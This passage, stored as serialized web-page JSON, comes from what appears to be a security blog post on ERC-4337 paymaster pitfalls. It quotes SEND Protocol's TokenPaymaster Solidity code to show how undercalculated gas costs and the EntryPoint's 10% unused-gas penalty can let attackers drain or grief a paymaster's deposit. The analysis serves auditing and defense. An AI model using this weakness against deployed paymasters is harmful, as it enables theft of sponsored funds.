service.",{"type":24,"tag":25,"props":104102,"children":104103},{},[104104,104106,104111,104113,104119,104121,104126],{"type":29,"value":104105},"Now that we understand how the ",{"type":24,"tag":154,"props":104107,"children":104109},{"className":104108},[],[104110],{"type":29,"value":103541},{"type":29,"value":104112}," works at a high level, let's examine how some protocols have failed to properly implement ",{"type":24,"tag":154,"props":104114,"children":104116},{"className":104115},[],[104117],{"type":29,"value":104118},"paymasters",{"type":29,"value":104120}," that align with the ",{"type":24,"tag":154,"props":104122,"children":104124},{"className":104123},[],[104125],{"type":29,"value":103541},{"type":29,"value":104127},"'s execution model, leading to potential vulnerabilities.",{"type":24,"tag":36636,"props":104129,"children":104131},{"id":104130},"common-pitfalls-in-paymaster-implementation",[104132],{"type":29,"value":104133},"Common Pitfalls in Paymaster Implementation",{"type":24,"tag":25,"props":104135,"children":104136},{},[104137,104139,104144],{"type":29,"value":104138},"While paymasters offer powerful flexibility, they also introduce new complexity, and with it, room for subtle bugs. Missteps in paymaster design can not only break gas sponsorship flows, but also expose their deposited ETH in the ",{"type":24,"tag":154,"props":104140,"children":104142},{"className":104141},[],[104143],{"type":29,"value":103541},{"type":29,"value":104145}," to exploitation or griefing.",{"type":24,"tag":25,"props":104147,"children":104148},{},[104149,104151,104156],{"type":29,"value":104150},"In this section, we’ll walk through the ",{"type":24,"tag":897,"props":104152,"children":104153},{},[104154],{"type":29,"value":104155},"two most common pitfalls",{"type":29,"value":104157}," we’ve observed in real-world paymaster implementations:",{"type":24,"tag":59,"props":104159,"children":104161},{"id":104160},"undercalculated-gas-costs",[104162],{"type":24,"tag":897,"props":104163,"children":104164},{},[104165],{"type":29,"value":104166},"Undercalculated Gas Costs",{"type":24,"tag":25,"props":104168,"children":104169},{},[104170,104172,104177,104179,104184,104186,104191,104193,104200],{"type":29,"value":104171},"To understand this issue, let's first examine how gas penalties work in the ",{"type":24,"tag":154,"props":104173,"children":104175},{"className":104174},[],[104176],{"type":29,"value":103541},{"type":29,"value":104178},". When a ",{"type":24,"tag":154,"props":104180,"children":104182},{"className":104181},[],[104183],{"type":29,"value":103460},{"type":29,"value":104185}," specifies an execution gas limit higher than what's actually used during execution, the ",{"type":24,"tag":154,"props":104187,"children":104189},{"className":104188},[],[104190],{"type":29,"value":103541},{"type":29,"value":104192}," charges a ",{"type":24,"tag":101,"props":104194,"children":104197},{"href":104195,"rel":104196},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.7/contracts/core/EntryPoint.sol#L718-L728",[105],[104198],{"type":29,"value":104199},"penalty of 10%",{"type":29,"value":104201}," of the unused gas. This penalty is paid to the bundler and is deducted from either the user's deposit (for regular transactions) or the paymaster's deposit (when using a paymaster).",{"type":24,"tag":25,"props":104203,"children":104204},{},[104205],{"type":29,"value":104206},"Now, let's examine a real-world example of how this penalty mechanism could impact paymasters. The SEND Protocol's paymaster implementation provides an instructive case study:",{"type":24,"tag":147,"props":104208,"children":104210},{"className":6134,"code":104209,"language":6133,"meta":7,"style":7},"contract TokenPaymaster is BasePaymaster, UniswapHelper, OracleHelper {\n[...]\n function _validatePaymasterUserOp(PackedUserOperation calldata userOp, bytes32, uint256 requiredPreFund)\n internal\n override\n returns (bytes memory context, uint256 validationResult)\n {\n unchecked {\n uint256 priceMarkup = tokenPaymasterConfig.priceMarkup;\n uint256 baseFee = tokenPaymasterConfig.baseFee;\n uint256 dataLength = userOp.paymasterAndData.length - PAYMASTER_DATA_OFFSET;\n require(dataLength == 0 || dataLength == 32, \"TPM: invalid data length\");\n uint256 maxFeePerGas = userOp.unpackMaxFeePerGas();\n uint256 refundPostopCost = tokenPaymasterConfig.refundPostopCost;\n require(refundPostopCost \u003C userOp.unpackPostOpGasLimit(), \"TPM: postOpGasLimit too low\");\n uint256 preChargeNative = requiredPreFund + (refundPostopCost * maxFeePerGas);\n // note: price is in native-asset-per-token increasing it means dividing it by markup\n uint256 cachedPriceWithMarkup = cachedPrice * DENOM / priceMarkup;\n if (dataLength == 32) {\n uint256 clientSuppliedPrice =\n uint256(bytes32(userOp.paymasterAndData[PAYMASTER_DATA_OFFSET:PAYMASTER_DATA_OFFSET + 32]));\n if (clientSuppliedPrice \u003C cachedPriceWithMarkup) {\n // note: smaller number means 'more native asset per token'\n cachedPriceWithMarkup = clientSuppliedPrice;\n }\n }\n uint256 tokenAmount = weiToToken(preChargeNative, cachedPriceWithMarkup);\n tokenAmount += baseFee;\n SafeERC20.safeTransferFrom(token, userOp.sender, address(this), tokenAmount);\n context = abi.encode(tokenAmount, userOp.sender);\n validationResult =\n _packValidationData(false, uint48(cachedPriceTimestamp + tokenPaymasterConfig.priceMaxAge), 0);\n }\n }\n[...]\n function _postOp(PostOpMode, bytes calldata context, uint256 actualGasCost, uint256 actualUserOpFeePerGas)\n internal\n override\n {\n unchecked {\n uint256 priceMarkup = tokenPaymasterConfig.priceMarkup;\n uint256 baseFee = tokenPaymasterConfig.baseFee;\n (uint256 preCharge, address userOpSender) = abi.decode(context, (uint256, address));\n preCharge -= baseFee; // don't refund the base fee\n uint256 _cachedPrice = updateCachedPrice(false);\n // note: price is in native-asset-per-token increasing it means dividing it by markup\n uint256 cachedPriceWithMarkup = _cachedPrice * DENOM / priceMarkup;\n // Refund tokens based on actual gas cost\n uint256 actualChargeNative = actualGasCost + tokenPaymasterConfig.refundPostopCost * actualUserOpFeePerGas;\n uint256 actualTokenNeeded = weiToToken(actualChargeNative, cachedPriceWithMarkup);\n if (preCharge > actualTokenNeeded) {\n // If initially provided token amount is greater than the actual amount needed, refund the difference\n SafeERC20.safeTransfer(token, userOpSender, preCharge - actualTokenNeeded);\n } else if (preCharge \u003C actualTokenNeeded) {\n // Attempt to cover Paymaster's gas expenses by withdrawing the 'overdraft' from the client\n // If the transfer reverts also revert the 'postOp' to remove the incentive to cheat\n SafeERC20.safeTransferFrom(token, userOpSender, address(this), actualTokenNeeded - preCharge);\n }\n\n if (baseFee > 0) {\n SafeERC20.safeTransfer(token, tokenPaymasterConfig.rewardsPool, baseFee);\n }\n\n emit UserOperationSponsored(userOpSender, actualTokenNeeded, actualGasCost, cachedPriceWithMarkup, baseFee);\n refillEntryPointDeposit(_cachedPrice);\n }\n }\n}\n",[104211],{"type":24,"tag":154,"props":104212,"children":104213},{"__ignoreMap":7},[104214,104258,104265,104322,104330,104338,104380,104387,104399,104421,104442,104472,104523,104553,104574,104612,104651,104668,104707,104731,104748,104791,104813,104830,104847,104854,104861,104887,104904,104939,104970,104982,105029,105036,105043,105050,105117,105124,105131,105138,105149,105168,105187,105251,105274,105307,105322,105357,105365,105404,105429,105450,105458,105485,105512,105520,105528,105570,105577,105584,105608,105624,105631,105638,105656,105669,105676,105684],{"type":24,"tag":158,"props":104215,"children":104216},{"class":160,"line":161},[104217,104221,104226,104231,104236,104240,104245,104249,104254],{"type":24,"tag":158,"props":104218,"children":104219},{"style":165},[104220],{"type":29,"value":91092},{"type":24,"tag":158,"props":104222,"children":104223},{"style":171},[104224],{"type":29,"value":104225}," TokenPaymaster",{"type":24,"tag":158,"props":104227,"children":104228},{"style":165},[104229],{"type":29,"value":104230}," is",{"type":24,"tag":158,"props":104232,"children":104233},{"style":171},[104234],{"type":29,"value":104235}," BasePaymaster",{"type":24,"tag":158,"props":104237,"children":104238},{"style":188},[104239],{"type":29,"value":191},{"type":24,"tag":158,"props":104241,"children":104242},{"style":171},[104243],{"type":29,"value":104244},"UniswapHelper",{"type":24,"tag":158,"props":104246,"children":104247},{"style":188},[104248],{"type":29,"value":191},{"type":24,"tag":158,"props":104250,"children":104251},{"style":171},[104252],{"type":29,"value":104253},"OracleHelper",{"type":24,"tag":158,"props":104255,"children":104256},{"style":188},[104257],{"type":29,"value":210},{"type":24,"tag":158,"props":104259,"children":104260},{"class":160,"line":213},[104261],{"type":24,"tag":158,"props":104262,"children":104263},{"style":188},[104264],{"type":29,"value":1136},{"type":24,"tag":158,"props":104266,"children":104267},{"class":160,"line":238},[104268,104272,104277,104281,104286,104291,104296,104300,104305,104309,104313,104318],{"type":24,"tag":158,"props":104269,"children":104270},{"style":165},[104271],{"type":29,"value":91109},{"type":24,"tag":158,"props":104273,"children":104274},{"style":496},[104275],{"type":29,"value":104276}," _validatePaymasterUserOp",{"type":24,"tag":158,"props":104278,"children":104279},{"style":188},[104280],{"type":29,"value":504},{"type":24,"tag":158,"props":104282,"children":104283},{"style":165},[104284],{"type":29,"value":104285},"PackedUserOperation",{"type":24,"tag":158,"props":104287,"children":104288},{"style":165},[104289],{"type":29,"value":104290}," calldata",{"type":24,"tag":158,"props":104292,"children":104293},{"style":177},[104294],{"type":29,"value":104295}," userOp",{"type":24,"tag":158,"props":104297,"children":104298},{"style":188},[104299],{"type":29,"value":191},{"type":24,"tag":158,"props":104301,"children":104302},{"style":171},[104303],{"type":29,"value":104304},"bytes32",{"type":24,"tag":158,"props":104306,"children":104307},{"style":188},[104308],{"type":29,"value":191},{"type":24,"tag":158,"props":104310,"children":104311},{"style":171},[104312],{"type":29,"value":47438},{"type":24,"tag":158,"props":104314,"children":104315},{"style":177},[104316],{"type":29,"value":104317}," requiredPreFund",{"type":24,"tag":158,"props":104319,"children":104320},{"style":188},[104321],{"type":29,"value":2125},{"type":24,"tag":158,"props":104323,"children":104324},{"class":160,"line":259},[104325],{"type":24,"tag":158,"props":104326,"children":104327},{"style":165},[104328],{"type":29,"value":104329}," internal\n",{"type":24,"tag":158,"props":104331,"children":104332},{"class":160,"line":280},[104333],{"type":24,"tag":158,"props":104334,"children":104335},{"style":165},[104336],{"type":29,"value":104337}," override\n",{"type":24,"tag":158,"props":104339,"children":104340},{"class":160,"line":301},[104341,104346,104350,104354,104359,104363,104367,104371,104376],{"type":24,"tag":158,"props":104342,"children":104343},{"style":1914},[104344],{"type":29,"value":104345}," returns",{"type":24,"tag":158,"props":104347,"children":104348},{"style":188},[104349],{"type":29,"value":2262},{"type":24,"tag":158,"props":104351,"children":104352},{"style":171},[104353],{"type":29,"value":85106},{"type":24,"tag":158,"props":104355,"children":104356},{"style":165},[104357],{"type":29,"value":104358}," memory",{"type":24,"tag":158,"props":104360,"children":104361},{"style":177},[104362],{"type":29,"value":77618},{"type":24,"tag":158,"props":104364,"children":104365},{"style":188},[104366],{"type":29,"value":191},{"type":24,"tag":158,"props":104368,"children":104369},{"style":171},[104370],{"type":29,"value":47438},{"type":24,"tag":158,"props":104372,"children":104373},{"style":177},[104374],{"type":29,"value":104375}," validationResult",{"type":24,"tag":158,"props":104377,"children":104378},{"style":188},[104379],{"type":29,"value":2125},{"type":24,"tag":158,"props":104381,"children":104382},{"class":160,"line":626},[104383],{"type":24,"tag":158,"props":104384,"children":104385},{"style":188},[104386],{"type":29,"value":30446},{"type":24,"tag":158,"props":104388,"children":104389},{"class":160,"line":668},[104390,104395],{"type":24,"tag":158,"props":104391,"children":104392},{"style":1914},[104393],{"type":29,"value":104394}," unchecked",{"type":24,"tag":158,"props":104396,"children":104397},{"style":188},[104398],{"type":29,"value":210},{"type":24,"tag":158,"props":104400,"children":104401},{"class":160,"line":676},[104402,104407,104412,104416],{"type":24,"tag":158,"props":104403,"children":104404},{"style":171},[104405],{"type":29,"value":104406}," uint256",{"type":24,"tag":158,"props":104408,"children":104409},{"style":188},[104410],{"type":29,"value":104411}," priceMarkup ",{"type":24,"tag":158,"props":104413,"children":104414},{"style":222},[104415],{"type":29,"value":1285},{"type":24,"tag":158,"props":104417,"children":104418},{"style":188},[104419],{"type":29,"value":104420}," tokenPaymasterConfig.priceMarkup;\n",{"type":24,"tag":158,"props":104422,"children":104423},{"class":160,"line":684},[104424,104428,104433,104437],{"type":24,"tag":158,"props":104425,"children":104426},{"style":171},[104427],{"type":29,"value":104406},{"type":24,"tag":158,"props":104429,"children":104430},{"style":188},[104431],{"type":29,"value":104432}," baseFee ",{"type":24,"tag":158,"props":104434,"children":104435},{"style":222},[104436],{"type":29,"value":1285},{"type":24,"tag":158,"props":104438,"children":104439},{"style":188},[104440],{"type":29,"value":104441}," tokenPaymasterConfig.baseFee;\n",{"type":24,"tag":158,"props":104443,"children":104444},{"class":160,"line":700},[104445,104449,104454,104458,104463,104467],{"type":24,"tag":158,"props":104446,"children":104447},{"style":171},[104448],{"type":29,"value":104406},{"type":24,"tag":158,"props":104450,"children":104451},{"style":188},[104452],{"type":29,"value":104453}," dataLength ",{"type":24,"tag":158,"props":104455,"children":104456},{"style":222},[104457],{"type":29,"value":1285},{"type":24,"tag":158,"props":104459,"children":104460},{"style":188},[104461],{"type":29,"value":104462}," userOp.paymasterAndData.length ",{"type":24,"tag":158,"props":104464,"children":104465},{"style":222},[104466],{"type":29,"value":5987},{"type":24,"tag":158,"props":104468,"children":104469},{"style":188},[104470],{"type":29,"value":104471}," PAYMASTER_DATA_OFFSET;\n",{"type":24,"tag":158,"props":104473,"children":104474},{"class":160,"line":785},[104475,104480,104485,104489,104493,104497,104501,104505,104510,104514,104519],{"type":24,"tag":158,"props":104476,"children":104477},{"style":1914},[104478],{"type":29,"value":104479}," require",{"type":24,"tag":158,"props":104481,"children":104482},{"style":188},[104483],{"type":29,"value":104484},"(dataLength ",{"type":24,"tag":158,"props":104486,"children":104487},{"style":222},[104488],{"type":29,"value":1034},{"type":24,"tag":158,"props":104490,"children":104491},{"style":465},[104492],{"type":29,"value":2025},{"type":24,"tag":158,"props":104494,"children":104495},{"style":222},[104496],{"type":29,"value":24953},{"type":24,"tag":158,"props":104498,"children":104499},{"style":188},[104500],{"type":29,"value":104453},{"type":24,"tag":158,"props":104502,"children":104503},{"style":222},[104504],{"type":29,"value":1034},{"type":24,"tag":158,"props":104506,"children":104507},{"style":465},[104508],{"type":29,"value":104509}," 32",{"type":24,"tag":158,"props":104511,"children":104512},{"style":188},[104513],{"type":29,"value":191},{"type":24,"tag":158,"props":104515,"children":104516},{"style":1108},[104517],{"type":29,"value":104518},"\"TPM: invalid data length\"",{"type":24,"tag":158,"props":104520,"children":104521},{"style":188},[104522],{"type":29,"value":1071},{"type":24,"tag":158,"props":104524,"children":104525},{"class":160,"line":1447},[104526,104530,104535,104539,104544,104549],{"type":24,"tag":158,"props":104527,"children":104528},{"style":171},[104529],{"type":29,"value":104406},{"type":24,"tag":158,"props":104531,"children":104532},{"style":188},[104533],{"type":29,"value":104534}," maxFeePerGas ",{"type":24,"tag":158,"props":104536,"children":104537},{"style":222},[104538],{"type":29,"value":1285},{"type":24,"tag":158,"props":104540,"children":104541},{"style":188},[104542],{"type":29,"value":104543}," userOp.",{"type":24,"tag":158,"props":104545,"children":104546},{"style":496},[104547],{"type":29,"value":104548},"unpackMaxFeePerGas",{"type":24,"tag":158,"props":104550,"children":104551},{"style":188},[104552],{"type":29,"value":5329},{"type":24,"tag":158,"props":104554,"children":104555},{"class":160,"line":1509},[104556,104560,104565,104569],{"type":24,"tag":158,"props":104557,"children":104558},{"style":171},[104559],{"type":29,"value":104406},{"type":24,"tag":158,"props":104561,"children":104562},{"style":188},[104563],{"type":29,"value":104564}," refundPostopCost ",{"type":24,"tag":158,"props":104566,"children":104567},{"style":222},[104568],{"type":29,"value":1285},{"type":24,"tag":158,"props":104570,"children":104571},{"style":188},[104572],{"type":29,"value":104573}," tokenPaymasterConfig.refundPostopCost;\n",{"type":24,"tag":158,"props":104575,"children":104576},{"class":160,"line":1527},[104577,104581,104586,104590,104594,104599,104603,104608],{"type":24,"tag":158,"props":104578,"children":104579},{"style":1914},[104580],{"type":29,"value":104479},{"type":24,"tag":158,"props":104582,"children":104583},{"style":188},[104584],{"type":29,"value":104585},"(refundPostopCost ",{"type":24,"tag":158,"props":104587,"children":104588},{"style":222},[104589],{"type":29,"value":3760},{"type":24,"tag":158,"props":104591,"children":104592},{"style":188},[104593],{"type":29,"value":104543},{"type":24,"tag":158,"props":104595,"children":104596},{"style":496},[104597],{"type":29,"value":104598},"unpackPostOpGasLimit",{"type":24,"tag":158,"props":104600,"children":104601},{"style":188},[104602],{"type":29,"value":19615},{"type":24,"tag":158,"props":104604,"children":104605},{"style":1108},[104606],{"type":29,"value":104607},"\"TPM: postOpGasLimit too low\"",{"type":24,"tag":158,"props":104609,"children":104610},{"style":188},[104611],{"type":29,"value":1071},{"type":24,"tag":158,"props":104613,"children":104614},{"class":160,"line":1545},[104615,104619,104624,104628,104633,104637,104642,104646],{"type":24,"tag":158,"props":104616,"children":104617},{"style":171},[104618],{"type":29,"value":104406},{"type":24,"tag":158,"props":104620,"children":104621},{"style":188},[104622],{"type":29,"value":104623}," preChargeNative ",{"type":24,"tag":158,"props":104625,"children":104626},{"style":222},[104627],{"type":29,"value":1285},{"type":24,"tag":158,"props":104629,"children":104630},{"style":188},[104631],{"type":29,"value":104632}," requiredPreFund ",{"type":24,"tag":158,"props":104634,"children":104635},{"style":222},[104636],{"type":29,"value":728},{"type":24,"tag":158,"props":104638,"children":104639},{"style":188},[104640],{"type":29,"value":104641}," (refundPostopCost ",{"type":24,"tag":158,"props":104643,"children":104644},{"style":222},[104645],{"type":29,"value":577},{"type":24,"tag":158,"props":104647,"children":104648},{"style":188},[104649],{"type":29,"value":104650}," maxFeePerGas);\n",{"type":24,"tag":158,"props":104652,"children":104653},{"class":160,"line":1618},[104654,104659,104663],{"type":24,"tag":158,"props":104655,"children":104656},{"style":2588},[104657],{"type":29,"value":104658}," // ",{"type":24,"tag":158,"props":104660,"children":104661},{"style":165},[104662],{"type":29,"value":68034},{"type":24,"tag":158,"props":104664,"children":104665},{"style":2588},[104666],{"type":29,"value":104667},": price is in native-asset-per-token increasing it means dividing it by markup\n",{"type":24,"tag":158,"props":104669,"children":104670},{"class":160,"line":1635},[104671,104675,104680,104684,104689,104693,104698,104702],{"type":24,"tag":158,"props":104672,"children":104673},{"style":171},[104674],{"type":29,"value":104406},{"type":24,"tag":158,"props":104676,"children":104677},{"style":188},[104678],{"type":29,"value":104679}," cachedPriceWithMarkup ",{"type":24,"tag":158,"props":104681,"children":104682},{"style":222},[104683],{"type":29,"value":1285},{"type":24,"tag":158,"props":104685,"children":104686},{"style":188},[104687],{"type":29,"value":104688}," cachedPrice ",{"type":24,"tag":158,"props":104690,"children":104691},{"style":222},[104692],{"type":29,"value":577},{"type":24,"tag":158,"props":104694,"children":104695},{"style":188},[104696],{"type":29,"value":104697}," DENOM ",{"type":24,"tag":158,"props":104699,"children":104700},{"style":222},[104701],{"type":29,"value":6238},{"type":24,"tag":158,"props":104703,"children":104704},{"style":188},[104705],{"type":29,"value":104706}," priceMarkup;\n",{"type":24,"tag":158,"props":104708,"children":104709},{"class":160,"line":1644},[104710,104714,104719,104723,104727],{"type":24,"tag":158,"props":104711,"children":104712},{"style":1914},[104713],{"type":29,"value":60074},{"type":24,"tag":158,"props":104715,"children":104716},{"style":188},[104717],{"type":29,"value":104718}," (dataLength ",{"type":24,"tag":158,"props":104720,"children":104721},{"style":222},[104722],{"type":29,"value":1034},{"type":24,"tag":158,"props":104724,"children":104725},{"style":465},[104726],{"type":29,"value":104509},{"type":24,"tag":158,"props":104728,"children":104729},{"style":188},[104730],{"type":29,"value":16038},{"type":24,"tag":158,"props":104732,"children":104733},{"class":160,"line":1652},[104734,104739,104744],{"type":24,"tag":158,"props":104735,"children":104736},{"style":171},[104737],{"type":29,"value":104738}," uint256",{"type":24,"tag":158,"props":104740,"children":104741},{"style":188},[104742],{"type":29,"value":104743}," clientSuppliedPrice ",{"type":24,"tag":158,"props":104745,"children":104746},{"style":222},[104747],{"type":29,"value":15927},{"type":24,"tag":158,"props":104749,"children":104750},{"class":160,"line":1704},[104751,104756,104760,104764,104769,104773,104778,104782,104786],{"type":24,"tag":158,"props":104752,"children":104753},{"style":171},[104754],{"type":29,"value":104755}," uint256",{"type":24,"tag":158,"props":104757,"children":104758},{"style":188},[104759],{"type":29,"value":504},{"type":24,"tag":158,"props":104761,"children":104762},{"style":171},[104763],{"type":29,"value":104304},{"type":24,"tag":158,"props":104765,"children":104766},{"style":188},[104767],{"type":29,"value":104768},"(userOp.paymasterAndData[PAYMASTER_DATA_OFFSET",{"type":24,"tag":158,"props":104770,"children":104771},{"style":222},[104772],{"type":29,"value":225},{"type":24,"tag":158,"props":104774,"children":104775},{"style":188},[104776],{"type":29,"value":104777},"PAYMASTER_DATA_OFFSET ",{"type":24,"tag":158,"props":104779,"children":104780},{"style":222},[104781],{"type":29,"value":728},{"type":24,"tag":158,"props":104783,"children":104784},{"style":465},[104785],{"type":29,"value":104509},{"type":24,"tag":158,"props":104787,"children":104788},{"style":188},[104789],{"type":29,"value":104790},"]));\n",{"type":24,"tag":158,"props":104792,"children":104793},{"class":160,"line":1713},[104794,104799,104804,104808],{"type":24,"tag":158,"props":104795,"children":104796},{"style":1914},[104797],{"type":29,"value":104798}," if",{"type":24,"tag":158,"props":104800,"children":104801},{"style":188},[104802],{"type":29,"value":104803}," (clientSuppliedPrice ",{"type":24,"tag":158,"props":104805,"children":104806},{"style":222},[104807],{"type":29,"value":3760},{"type":24,"tag":158,"props":104809,"children":104810},{"style":188},[104811],{"type":29,"value":104812}," cachedPriceWithMarkup) {\n",{"type":24,"tag":158,"props":104814,"children":104815},{"class":160,"line":1731},[104816,104821,104825],{"type":24,"tag":158,"props":104817,"children":104818},{"style":2588},[104819],{"type":29,"value":104820}," // ",{"type":24,"tag":158,"props":104822,"children":104823},{"style":165},[104824],{"type":29,"value":68034},{"type":24,"tag":158,"props":104826,"children":104827},{"style":2588},[104828],{"type":29,"value":104829},": smaller number means 'more native asset per token'\n",{"type":24,"tag":158,"props":104831,"children":104832},{"class":160,"line":5485},[104833,104838,104842],{"type":24,"tag":158,"props":104834,"children":104835},{"style":188},[104836],{"type":29,"value":104837}," cachedPriceWithMarkup ",{"type":24,"tag":158,"props":104839,"children":104840},{"style":222},[104841],{"type":29,"value":1285},{"type":24,"tag":158,"props":104843,"children":104844},{"style":188},[104845],{"type":29,"value":104846}," clientSuppliedPrice;\n",{"type":24,"tag":158,"props":104848,"children":104849},{"class":160,"line":5493},[104850],{"type":24,"tag":158,"props":104851,"children":104852},{"style":188},[104853],{"type":29,"value":72347},{"type":24,"tag":158,"props":104855,"children":104856},{"class":160,"line":5553},[104857],{"type":24,"tag":158,"props":104858,"children":104859},{"style":188},[104860],{"type":29,"value":60158},{"type":24,"tag":158,"props":104862,"children":104863},{"class":160,"line":10636},[104864,104868,104873,104877,104882],{"type":24,"tag":158,"props":104865,"children":104866},{"style":171},[104867],{"type":29,"value":104406},{"type":24,"tag":158,"props":104869,"children":104870},{"style":188},[104871],{"type":29,"value":104872}," tokenAmount ",{"type":24,"tag":158,"props":104874,"children":104875},{"style":222},[104876],{"type":29,"value":1285},{"type":24,"tag":158,"props":104878,"children":104879},{"style":496},[104880],{"type":29,"value":104881}," weiToToken",{"type":24,"tag":158,"props":104883,"children":104884},{"style":188},[104885],{"type":29,"value":104886},"(preChargeNative, cachedPriceWithMarkup);\n",{"type":24,"tag":158,"props":104888,"children":104889},{"class":160,"line":10652},[104890,104895,104899],{"type":24,"tag":158,"props":104891,"children":104892},{"style":188},[104893],{"type":29,"value":104894}," tokenAmount ",{"type":24,"tag":158,"props":104896,"children":104897},{"style":222},[104898],{"type":29,"value":69713},{"type":24,"tag":158,"props":104900,"children":104901},{"style":188},[104902],{"type":29,"value":104903}," baseFee;\n",{"type":24,"tag":158,"props":104905,"children":104906},{"class":160,"line":10696},[104907,104912,104917,104922,104926,104930,104934],{"type":24,"tag":158,"props":104908,"children":104909},{"style":188},[104910],{"type":29,"value":104911}," SafeERC20.",{"type":24,"tag":158,"props":104913,"children":104914},{"style":496},[104915],{"type":29,"value":104916},"safeTransferFrom",{"type":24,"tag":158,"props":104918,"children":104919},{"style":188},[104920],{"type":29,"value":104921},"(token, userOp.sender, ",{"type":24,"tag":158,"props":104923,"children":104924},{"style":171},[104925],{"type":29,"value":33902},{"type":24,"tag":158,"props":104927,"children":104928},{"style":188},[104929],{"type":29,"value":504},{"type":24,"tag":158,"props":104931,"children":104932},{"style":165},[104933],{"type":29,"value":18932},{"type":24,"tag":158,"props":104935,"children":104936},{"style":188},[104937],{"type":29,"value":104938},"), tokenAmount);\n",{"type":24,"tag":158,"props":104940,"children":104941},{"class":160,"line":10801},[104942,104947,104951,104956,104960,104965],{"type":24,"tag":158,"props":104943,"children":104944},{"style":188},[104945],{"type":29,"value":104946}," context ",{"type":24,"tag":158,"props":104948,"children":104949},{"style":222},[104950],{"type":29,"value":1285},{"type":24,"tag":158,"props":104952,"children":104953},{"style":165},[104954],{"type":29,"value":104955}," abi",{"type":24,"tag":158,"props":104957,"children":104958},{"style":188},[104959],{"type":29,"value":347},{"type":24,"tag":158,"props":104961,"children":104962},{"style":496},[104963],{"type":29,"value":104964},"encode",{"type":24,"tag":158,"props":104966,"children":104967},{"style":188},[104968],{"type":29,"value":104969},"(tokenAmount, userOp.sender);\n",{"type":24,"tag":158,"props":104971,"children":104972},{"class":160,"line":24754},[104973,104978],{"type":24,"tag":158,"props":104974,"children":104975},{"style":188},[104976],{"type":29,"value":104977}," validationResult ",{"type":24,"tag":158,"props":104979,"children":104980},{"style":222},[104981],{"type":29,"value":15927},{"type":24,"tag":158,"props":104983,"children":104984},{"class":160,"line":24789},[104985,104990,104994,104998,105002,105007,105012,105016,105021,105025],{"type":24,"tag":158,"props":104986,"children":104987},{"style":496},[104988],{"type":29,"value":104989}," _packValidationData",{"type":24,"tag":158,"props":104991,"children":104992},{"style":188},[104993],{"type":29,"value":504},{"type":24,"tag":158,"props":104995,"children":104996},{"style":165},[104997],{"type":29,"value":4404},{"type":24,"tag":158,"props":104999,"children":105000},{"style":188},[105001],{"type":29,"value":191},{"type":24,"tag":158,"props":105003,"children":105004},{"style":171},[105005],{"type":29,"value":105006},"uint48",{"type":24,"tag":158,"props":105008,"children":105009},{"style":188},[105010],{"type":29,"value":105011},"(cachedPriceTimestamp ",{"type":24,"tag":158,"props":105013,"children":105014},{"style":222},[105015],{"type":29,"value":728},{"type":24,"tag":158,"props":105017,"children":105018},{"style":188},[105019],{"type":29,"value":105020}," tokenPaymasterConfig.priceMaxAge), ",{"type":24,"tag":158,"props":105022,"children":105023},{"style":465},[105024],{"type":29,"value":5682},{"type":24,"tag":158,"props":105026,"children":105027},{"style":188},[105028],{"type":29,"value":1071},{"type":24,"tag":158,"props":105030,"children":105031},{"class":160,"line":24797},[105032],{"type":24,"tag":158,"props":105033,"children":105034},{"style":188},[105035],{"type":29,"value":5010},{"type":24,"tag":158,"props":105037,"children":105038},{"class":160,"line":24805},[105039],{"type":24,"tag":158,"props":105040,"children":105041},{"style":188},[105042],{"type":29,"value":3967},{"type":24,"tag":158,"props":105044,"children":105045},{"class":160,"line":24814},[105046],{"type":24,"tag":158,"props":105047,"children":105048},{"style":188},[105049],{"type":29,"value":1136},{"type":24,"tag":158,"props":105051,"children":105052},{"class":160,"line":24856},[105053,105057,105062,105066,105071,105075,105079,105083,105087,105091,105095,105100,105104,105108,105113],{"type":24,"tag":158,"props":105054,"children":105055},{"style":165},[105056],{"type":29,"value":91109},{"type":24,"tag":158,"props":105058,"children":105059},{"style":496},[105060],{"type":29,"value":105061}," _postOp",{"type":24,"tag":158,"props":105063,"children":105064},{"style":188},[105065],{"type":29,"value":504},{"type":24,"tag":158,"props":105067,"children":105068},{"style":165},[105069],{"type":29,"value":105070},"PostOpMode",{"type":24,"tag":158,"props":105072,"children":105073},{"style":188},[105074],{"type":29,"value":191},{"type":24,"tag":158,"props":105076,"children":105077},{"style":171},[105078],{"type":29,"value":85106},{"type":24,"tag":158,"props":105080,"children":105081},{"style":165},[105082],{"type":29,"value":104290},{"type":24,"tag":158,"props":105084,"children":105085},{"style":177},[105086],{"type":29,"value":77618},{"type":24,"tag":158,"props":105088,"children":105089},{"style":188},[105090],{"type":29,"value":191},{"type":24,"tag":158,"props":105092,"children":105093},{"style":171},[105094],{"type":29,"value":47438},{"type":24,"tag":158,"props":105096,"children":105097},{"style":177},[105098],{"type":29,"value":105099}," actualGasCost",{"type":24,"tag":158,"props":105101,"children":105102},{"style":188},[105103],{"type":29,"value":191},{"type":24,"tag":158,"props":105105,"children":105106},{"style":171},[105107],{"type":29,"value":47438},{"type":24,"tag":158,"props":105109,"children":105110},{"style":177},[105111],{"type":29,"value":105112}," actualUserOpFeePerGas",{"type":24,"tag":158,"props":105114,"children":105115},{"style":188},[105116],{"type":29,"value":2125},{"type":24,"tag":158,"props":105118,"children":105119},{"class":160,"line":24889},[105120],{"type":24,"tag":158,"props":105121,"children":105122},{"style":165},[105123],{"type":29,"value":104329},{"type":24,"tag":158,"props":105125,"children":105126},{"class":160,"line":24897},[105127],{"type":24,"tag":158,"props":105128,"children":105129},{"style":165},[105130],{"type":29,"value":104337},{"type":24,"tag":158,"props":105132,"children":105133},{"class":160,"line":24905},[105134],{"type":24,"tag":158,"props":105135,"children":105136},{"style":188},[105137],{"type":29,"value":30446},{"type":24,"tag":158,"props":105139,"children":105140},{"class":160,"line":24914},[105141,105145],{"type":24,"tag":158,"props":105142,"children":105143},{"style":1914},[105144],{"type":29,"value":104394},{"type":24,"tag":158,"props":105146,"children":105147},{"style":188},[105148],{"type":29,"value":210},{"type":24,"tag":158,"props":105150,"children":105151},{"class":160,"line":24990},[105152,105156,105160,105164],{"type":24,"tag":158,"props":105153,"children":105154},{"style":171},[105155],{"type":29,"value":104406},{"type":24,"tag":158,"props":105157,"children":105158},{"style":188},[105159],{"type":29,"value":104411},{"type":24,"tag":158,"props":105161,"children":105162},{"style":222},[105163],{"type":29,"value":1285},{"type":24,"tag":158,"props":105165,"children":105166},{"style":188},[105167],{"type":29,"value":104420},{"type":24,"tag":158,"props":105169,"children":105170},{"class":160,"line":25023},[105171,105175,105179,105183],{"type":24,"tag":158,"props":105172,"children":105173},{"style":171},[10517